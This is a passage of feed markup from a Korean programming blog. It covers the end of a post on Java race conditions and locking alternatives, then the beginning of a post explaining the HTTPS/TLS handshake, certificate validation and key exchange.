&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;tryLock&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TimeUnit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;MILLISECONDS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;finally&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; lock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unlock&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 포기하고 재시도 — 영원히 멈추지는 않는다&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;락 없이 푸는 방법&lt;/h2&gt;
&lt;p&gt;락은 정확하지만 비쌉니다. 문제가 단순하면 더 싼 방법이 있습니다.&lt;/p&gt;
&lt;h3&gt;1. 원자적 연산 — &lt;code class=&quot;language-text&quot;&gt;AtomicInteger&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;AtomicInteger&lt;/span&gt; count &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;AtomicInteger&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
count&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;incrementAndGet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;// 읽기·수정·쓰기가 쪼개지지 않는다&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CPU의 CAS(Compare-And-Swap) 명령을 씁니다. &quot;값이 아직 1000이면 1001로 바꿔라&quot;를 &lt;strong&gt;한 번에&lt;/strong&gt; 수행하고, 그 사이 값이 바뀌었으면 실패하고 다시 시도합니다. 단순 카운터라면 이게 &lt;code class=&quot;language-text&quot;&gt;synchronized&lt;/code&gt;보다 훨씬 빠릅니다.&lt;/p&gt;
&lt;h3&gt;2. 애초에 공유하지 않기 — &lt;code class=&quot;language-text&quot;&gt;ThreadLocal&lt;/code&gt;, 지역 변수&lt;/h3&gt;
&lt;p&gt;가장 확실한 해결은 &lt;strong&gt;공유 변수를 없애는 것&lt;/strong&gt;입니다. 각 스레드가 자기 몫을 따로 세고 마지막에 한 번만 합치면 경쟁 자체가 없습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 스레드별로 세고 마지막에 합산&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;long&lt;/span&gt; total &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; list&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parallelStream&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mapToLong&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3. 불변 객체&lt;/h3&gt;
&lt;p&gt;값을 바꾸지 않고 새 객체를 만들면 경쟁 상태가 성립하지 않습니다. 함수형 스타일이 동시성에 강한 이유입니다.&lt;/p&gt;
&lt;h3&gt;무엇을 언제 쓰나&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;선택&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;단순 카운터·플래그&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;AtomicInteger&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;AtomicLong&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;여러 값을 함께 바꿔야 함&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;synchronized&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;ReentrantLock&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;맵에 동시 접근&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ConcurrentHashMap&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;읽기가 압도적으로 많음&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ReadWriteLock&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공유할 필요가 없음&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;공유하지 않기&lt;/strong&gt; ← 1순위로 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ — 자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;Q. &lt;code class=&quot;language-text&quot;&gt;volatile&lt;/code&gt;을 붙이면 해결되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;아니요.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;volatile&lt;/code&gt;은 &lt;strong&gt;가시성&lt;/strong&gt;만 보장합니다. 한 스레드가 바꾼 값을 다른 스레드가 곧바로 보게 해줄 뿐, &lt;code class=&quot;language-text&quot;&gt;count++&lt;/code&gt;가 쪼개지는 것(원자성)은 막지 못합니다. 플래그 하나를 켜고 끄는 용도라면 맞지만, 증가 연산에는 &lt;code class=&quot;language-text&quot;&gt;AtomicInteger&lt;/code&gt;를 써야 합니다.&lt;/p&gt;
&lt;h3&gt;Q. 테스트에서는 잘 되는데요?&lt;/h3&gt;
&lt;p&gt;경쟁 상태는 &lt;strong&gt;재현이 안 되는 게 특징&lt;/strong&gt;입니다. 스레드 수가 적거나 반복이 적으면 겹칠 확률이 낮아 그냥 통과합니다. 그러다 운영에서 트래픽이 몰릴 때 터집니다. &quot;가끔 숫자가 안 맞는다&quot;, &quot;재현이 안 된다&quot;는 리포트가 오면 이쪽부터 의심하세요.&lt;/p&gt;
&lt;h3&gt;Q. 웹 애플리케이션에도 해당되나요?&lt;/h3&gt;
&lt;p&gt;그렇습니다. 서버는 요청마다 스레드를 씁니다. 싱글턴 빈의 필드, 정적 변수, 캐시가 전부 공유 자원입니다. 재고 차감이나 포인트 적립처럼 &lt;strong&gt;읽고-계산해서-쓰는&lt;/strong&gt; 로직이면 그대로 같은 문제가 생깁니다. 이때는 애플리케이션 락으로는 부족하고 DB 락이나 원자적 UPDATE로 풀어야 합니다 — 서버가 여러 대면 JVM 락은 다른 서버를 막지 못하기 때문입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;count++&lt;/code&gt;는 &lt;strong&gt;읽기 · 수정 · 쓰기&lt;/strong&gt; 세 동작입니다&lt;/li&gt;
&lt;li&gt;둘이 같은 값을 읽으면 &lt;strong&gt;증가 하나가 사라집니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;락은 정확하지만 &lt;strong&gt;기다림·컨텍스트 스위칭·데드락&lt;/strong&gt;이라는 비용을 부릅니다&lt;/li&gt;
&lt;li&gt;락이 둘 이상이면 &lt;strong&gt;잡는 순서를 전역으로 고정&lt;/strong&gt;하세요&lt;/li&gt;
&lt;li&gt;단순 카운터는 &lt;code class=&quot;language-text&quot;&gt;AtomicInteger&lt;/code&gt;가, 가장 좋은 해결은 &lt;strong&gt;공유하지 않는 설계&lt;/strong&gt;입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;동시성 버그가 무서운 이유는 어렵기 때문이 아니라 &lt;strong&gt;재현되지 않기 때문&lt;/strong&gt;입니다. 그래서 &quot;겹치면 어떻게 되는지&quot;를 머릿속에 그릴 수 있느냐가 그대로 실력이 됩니다.&lt;/p&gt;
&lt;p&gt;여러 서버가 같은 데이터를 만질 때의 이야기는 &lt;a href=&quot;/db-index-how-it-works/&quot;&gt;DB 인덱스와 조회 원리&lt;/a&gt;에서 이어지는 트랜잭션 쪽 주제이고, 요청이 서버 앞단에서 어떻게 분배되는지는 &lt;a href=&quot;/api-gateway-guide/&quot;&gt;API 게이트웨이가 하는 일&lt;/a&gt;에서 다뤘습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[HTTPS 핸드셰이크 완전 정리 — 자물쇠가 붙기까지 오가는 것들]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "HTTPS…]]></description><link>https://blog.javapark.kr/https-handshake/</link><guid isPermaLink="false">https://blog.javapark.kr/https-handshake/</guid><pubDate>Sun, 16 Aug 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/f8a7e75e67996edad909d211e9e66fd8/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACCUlEQVR42n2Sz2sTQRTHcxA12czO7Mxkf29209lfWbNJ1qZtkjZJTVujiESjSKRgRFqxtYiHQlHTIhQUFXrwIBZPHv0vnU2keBDhy2PmzXze981jMlAuQyVKxRf/ElarBb2hGU3dWtPNtmIsES1ByjV+lIGFEFIf0oBv0KwEj+ivWhyWNQ63TatnWF3FaNILGJWaJNoi0QaSI4EEoFC+JNhXIBOIP4d5HquxotdltYZphEggYjcvlUTqZ7Kt7ez67uXejtMZD0dPm93hnfuT3ubDoNrNk7QdQH1dDQlleWgLwMqLFoA8GoCwjD2e2qND5dFx89nJl89f9169fX96dvB62uoNBewhpSwQ19GiVTfpeEk/aMR6UMKOjm2AWebk+OP595/7e4e7L44+nf14fvDm6N2Hx5OXOcmdvxwQF+uhrLACLMqSRZFFkIWgmcJ3N08nD8631qfj4bf9J7+k4gq2F7FZv5g/h2GxQoOEshpm1bzpX9VYTi6lsF8eMf8ei0ZBfTtu7Iiltmgvi2YCtcofmPIWQlqMVZao7nVkhEB1QWEhhXF8G1VvgeoAx301uanUBiJrQ3sZGrW5uUg9fk9Adla0csASoJ1HzmzaXiZ1sJcQW5XCvlQZwGgDeh3orEBuPocLASAeoJ44U7qeiec5HENrES60oN9LyfAGdNegw53r//l2c/0GVnJjpQUApIYAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/f8a7e75e67996edad909d211e9e66fd8/a1b3b/thumbnail.webp 215w,
/static/f8a7e75e67996edad909d211e9e66fd8/fc700/thumbnail.webp 430w,
/static/f8a7e75e67996edad909d211e9e66fd8/521f7/thumbnail.webp 860w,
/static/f8a7e75e67996edad909d211e9e66fd8/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/f8a7e75e67996edad909d211e9e66fd8/f7886/thumbnail.png 215w,
/static/f8a7e75e67996edad909d211e9e66fd8/bc750/thumbnail.png 430w,
/static/f8a7e75e67996edad909d211e9e66fd8/3e3fe/thumbnail.png 860w,
/static/f8a7e75e67996edad909d211e9e66fd8/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/f8a7e75e67996edad909d211e9e66fd8/3e3fe/thumbnail.png&apos; alt=&apos;HTTPS 핸드셰이크 커버 — 평문 password=1234 가 암호문으로 바뀌는 대비&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;HTTPS 핸드셰이크 커버 — 평문 password=1234 가 암호문으로 바뀌는 대비&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;HTTPS는 암호화되는 거잖아요. 그런데 왜 첫 연결만 유독 느리죠?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;주소창의 자물쇠는 그냥 붙지 않습니다. &lt;strong&gt;브라우저와 서버가 여러 번 오간 뒤에야&lt;/strong&gt; 붙습니다. 그리고 그 왕복 횟수가 그대로 첫 응답 지연이 됩니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;HTTPS는 HTTP를 대체한 프로토콜이 아니라, HTTP 밑에 TLS 한 층을 끼운 것&lt;/strong&gt;입니다. 그래서 TCP 연결을 맺은 다음에 &lt;strong&gt;한 번 더&lt;/strong&gt; 협상을 합니다. 인증서 오류가 나는 지점도, 첫 연결이 느린 이유도 전부 그 층에서 나옵니다.&lt;/p&gt;
&lt;p&gt;주고받는 순서를 눈으로 먼저 보고 싶으시면 &lt;strong&gt;1분 13초짜리 영상&lt;/strong&gt;으로도 정리했습니다. TCP 3-way 뒤에 TLS 메시지가 하나씩 쌓이고, 인증서가 검증되고, 평문이 암호문으로 바뀌는 과정을 순서대로 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/ay4sG5BowMg&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 89.76744186046513%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAACpElEQVR42oWRWXPSUBSAoyVBcvckhOwbCYSlQFhKKUKh0mor06nW0Xcf/f8/wAPU2sqDM9/cyXK+c88iYW+QFJvi8mvv/YOWzpjZYTShLCYsIjTAxEPYUZFdUU3GU0LTNJvVs6mKQkxcCYej9tnd7fdf6+1PLZszt2AE5DqlESHPsqUik4sc5On5djq7U5FPWSRxvyBOn/lj4hY8OuO1U7hhT50aGRUxpv4+hU15XTc6utHiIqU8UpEjURpXrbYTDGx/wPWM8oSKOkDg1NId+9dnCI90s+9HnyrIlChLjJ1cWO4p01JAGA2t2tTNfJfrtflC/qgSSyIsrtpdJxhhFmEW236/P9z0hpusNYcs8OWQ8bUfEx4i5kmYhpY3COvnRq2DaGR7vUZ7nmTTTm91WlylzRn4KgnJn3YOMK2xl1loOj0/nhq1NshuMIBrW91l3l16YdEfXTc7i7yzMGqtlz7TsoMcaNW8anW43oDfEBQkYz8aOn4f2j48+/EQWvhX5h70HBCRYL7r7TAhqBOAUAAKhnKAo7JTxH0JEa9mnwbRGIp3w1HN7cGSKjhQSXQY1fHAdrJIMcgYu8RqWkkxgCEXV93+Cmi25/XGFO4/XtVfWexkB3stOx+vrx7frx4ulvfL9ZdWdxGnk//LCNnEbxtx/2K+HU5uivHmfL6FsZVV77jaY9miQcfKJ6v1t9ni/mz2+er6ByyJCphfg2vZAYh+CRcZFoH0rqJjI6JGbNm5YWZGLbPdFqygpFQr2C2rtqJaZWRjHkD0ExoQVTRbkstULhFZJm9P1FIJn5TQGxmRNMk3l0av7ZwV0fLcn09OhC4TLlMhMyFzTRYanJKsEEAp0ycUKiMueu3h49a5mCQfFq3bTf1mJRumgoVCNYVpCtcP/AbycHNkvQOSCQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/81a1695378c01ebcb63732252d778ef1/a1b3b/video-thumb.webp 215w,
/static/81a1695378c01ebcb63732252d778ef1/fc700/video-thumb.webp 430w,
/static/81a1695378c01ebcb63732252d778ef1/521f7/video-thumb.webp 860w,
/static/81a1695378c01ebcb63732252d778ef1/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/81a1695378c01ebcb63732252d778ef1/f7886/video-thumb.png 215w,
/static/81a1695378c01ebcb63732252d778ef1/bc750/video-thumb.png 430w,
/static/81a1695378c01ebcb63732252d778ef1/3e3fe/video-thumb.png 860w,
/static/81a1695378c01ebcb63732252d778ef1/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/81a1695378c01ebcb63732252d778ef1/3e3fe/video-thumb.png&apos; alt=&apos;HTTPS 핸드셰이크 영상 — 서버 인증서를 브라우저가 발급기관·도메인·유효기간 세 가지로 검증하는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;HTTPS 핸드셰이크 영상 — 서버 인증서를 브라우저가 발급기관·도메인·유효기간 세 가지로 검증하는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;HTTP는 적은 그대로 보낸다&lt;/h2&gt;
&lt;p&gt;먼저 왜 필요한지부터 봐야 합니다. HTTP로 로그인 요청을 보내면 이렇게 나갑니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;http&quot;&gt;&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token request-line&quot;&gt;&lt;span class=&quot;token method property&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;token request-target url&quot;&gt;/login&lt;/span&gt; &lt;span class=&quot;token http-version property&quot;&gt;HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;javapark.kr&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;/span&gt;

email=javapark@example.com&amp;amp;password=1234&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이게 &lt;strong&gt;그대로&lt;/strong&gt; 흘러갑니다. 카페 와이파이의 다른 손님, 회사 프록시, 중간 경로의 라우터 — 지나가는 자리에 있는 누구든 읽을 수 있습니다. 암호화가 없으니 &quot;읽지 못하게&quot; 막을 방법이 없습니다.&lt;/p&gt;
&lt;p&gt;HTTPS는 같은 요청을 보내되, &lt;strong&gt;중간에서는 의미 없는 바이트로만 보이게&lt;/strong&gt; 만듭니다. 그 상태를 만들기 위한 사전 협상이 핸드셰이크입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;순서 — TCP 다음에 TLS&lt;/h2&gt;
&lt;p&gt;핸드셰이크를 어렵게 느끼는 이유는 대개 &lt;strong&gt;TCP 연결과 TLS 협상을 한 덩어리로 보기 때문&lt;/strong&gt;입니다. 둘은 별개이고 순서가 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;무엇을 하나&lt;/th&gt;
&lt;th&gt;이 시점의 상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;① TCP 3-way&lt;/td&gt;
&lt;td&gt;연결 자체를 만든다&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;평문&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;② ClientHello / ServerHello&lt;/td&gt;
&lt;td&gt;쓸 암호를 정한다&lt;/td&gt;
&lt;td&gt;평문&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;③ 인증서 검증&lt;/td&gt;
&lt;td&gt;서버가 맞는지 확인한다&lt;/td&gt;
&lt;td&gt;평문&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;④ 키 교환&lt;/td&gt;
&lt;td&gt;대칭키를 안전하게 넘긴다&lt;/td&gt;
&lt;td&gt;여기부터 암호화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;①~③은 아직 암호화되지 않은 구간입니다.&lt;/strong&gt; 그래서 어떤 도메인에 접속했는지(SNI)는 중간에서 보입니다. 내용이 가려질 뿐, 접속 사실 자체가 숨겨지는 건 아닙니다.&lt;/p&gt;
&lt;h3&gt;① TCP 3-way 핸드셰이크&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;브라우저  → SYN      → 서버      &quot;연결할까요?&quot;
브라우저  ← SYN-ACK  ← 서버      &quot;좋습니다&quot;
브라우저  → ACK      → 서버      &quot;시작합니다&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기까지가 &lt;strong&gt;왕복 1회&lt;/strong&gt;입니다. HTTP라면 이 다음에 바로 요청을 보냅니다. HTTPS는 여기서 한 번 더 갑니다.&lt;/p&gt;
&lt;h3&gt;② ClientHello / ServerHello — 쓸 암호를 맞춘다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;브라우저 → ClientHello  : 제가 쓸 수 있는 암호 목록입니다 (+ TLS 버전, 랜덤값, SNI)
브라우저 ← ServerHello  : 이걸로 합시다 (+ 선택한 암호 스위트, 랜덤값, 인증서)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;브라우저와 서버가 지원하는 암호가 다를 수 있으니 &lt;strong&gt;교집합에서 하나를 고릅니다.&lt;/strong&gt; 여기서 겹치는 게 하나도 없으면 연결이 실패합니다 — 오래된 서버에서 &lt;code class=&quot;language-text&quot;&gt;SSL_ERROR_NO_CYPHER_OVERLAP&lt;/code&gt; 같은 오류가 나는 이유입니다.&lt;/p&gt;
&lt;p&gt;이때 서버가 &lt;strong&gt;인증서를 같이 보냅니다.&lt;/strong&gt; 인증서는 서버의 신분증입니다.&lt;/p&gt;
&lt;h3&gt;③ 인증서 검증 — 브라우저가 혼자 한다&lt;/h3&gt;
&lt;p&gt;여기서 중요한 게 있습니다. &lt;strong&gt;검증은 서버가 아니라 브라우저가 합니다.&lt;/strong&gt; 서버는 인증서를 내밀 뿐이고, 믿을지 말지는 받는 쪽이 판단합니다.&lt;/p&gt;
&lt;p&gt;브라우저가 확인하는 것은 크게 셋입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;발급기관을 믿을 수 있나&lt;/strong&gt; — 인증서에 서명한 CA가 OS·브라우저의 신뢰 목록에 있는지, 중간 인증서까지 체인이 이어지는지&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;도메인이 일치하나&lt;/strong&gt; — 접속한 주소가 인증서의 SAN(Subject Alternative Name)에 들어 있는지&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;유효기간이 남았나&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;notBefore&lt;/code&gt; ~ &lt;code class=&quot;language-text&quot;&gt;notAfter&lt;/code&gt; 범위 안인지&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;셋 중 하나만 어긋나도 그 경고 화면이 뜹니다. 뒤에서 다룰 &lt;strong&gt;오류 코드가 정확히 이 셋에 대응&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;h3&gt;④ 키 교환 — 비대칭키는 여기까지만&lt;/h3&gt;
&lt;p&gt;암호화 방식은 두 종류입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;비대칭키 (공개키/개인키)&lt;/th&gt;
&lt;th&gt;대칭키&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;속도&lt;/td&gt;
&lt;td&gt;느림&lt;/td&gt;
&lt;td&gt;빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;키 전달&lt;/td&gt;
&lt;td&gt;공개키는 공개해도 됨&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;전달이 문제&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;쓰는 곳&lt;/td&gt;
&lt;td&gt;키를 넘기는 순간에만&lt;/td&gt;
&lt;td&gt;이후 실제 통신 전부&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
